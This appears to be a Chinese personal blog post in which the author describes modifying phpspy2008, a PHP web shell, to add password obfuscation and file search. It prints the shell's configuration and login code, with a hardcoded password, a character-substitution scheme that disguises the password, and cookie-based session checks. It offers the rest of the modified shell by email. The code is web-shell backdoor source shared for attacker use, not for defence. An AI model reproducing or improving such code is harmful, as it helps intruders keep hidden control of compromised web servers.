中文版 | English

网站首页 | 个人作品 | 博客 | 给我留言 | 经典分享 | 友情链接 | 黑白人生


为phpspy2008加了个密码加密及文件搜索功能

程序配置 =====================*/
$admin = array();
// 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
$admin['check'] = true;
// 如果需要密码验证,请修改登陆密码
$admin['pass'] = 'XZdDUSsDqS6';//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
// cookie 前缀
$admin['cookiepre'] = '';
// cookie 作用域
$admin['cookiedomain'] = '';
// cookie 作用路径
$admin['cookiepath'] = '/';
// cookie 有效期
$admin['cookielife'] = 86400;
$src = array("!","@","#","$","%","^","&","*","(",")","-","+","_","=",";",":","'","<",">","?","/",".","'","`","~","[","{","]","}","|");
$des = array("1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u");
$midpass=base_convert(md5($password), 16, 4);
$midpass=$midpass^$password;
$password = str_replace($src, $des, $midpass);
/*===================== 配置结束 =====================*/if ($charset == 'utf8') {
header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
header("content-Type: text/html; charset=iso-8859-2");
}$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();/*===================== 身份验证 =====================*/
if ($action == "logout") {
scookie('userpass', '', -86400 * 365);
p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
exit;
}
if($admin['check']) {
if ($doing == 'login') {
   if ($admin['pass'] == $password) {
    scookie('userpass', $password);
    p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    exit;
   }
}
if ($_COOKIE['userpass']) {
   if ($_COOKIE['userpass'] != $admin['pass']) {
    loginpage();
   }
} else {
   loginpage();
}
}
/*===================== 验证结束 =====================*/
放了一段时间.后面添加的功能代码我加在那里也忘了,有需要的可以email ,文件字数超长就不全贴了!

上一篇: 提供逆水寒歌曲
下一篇: asp通过odbc读取utf-8格式存储的mysql数据问题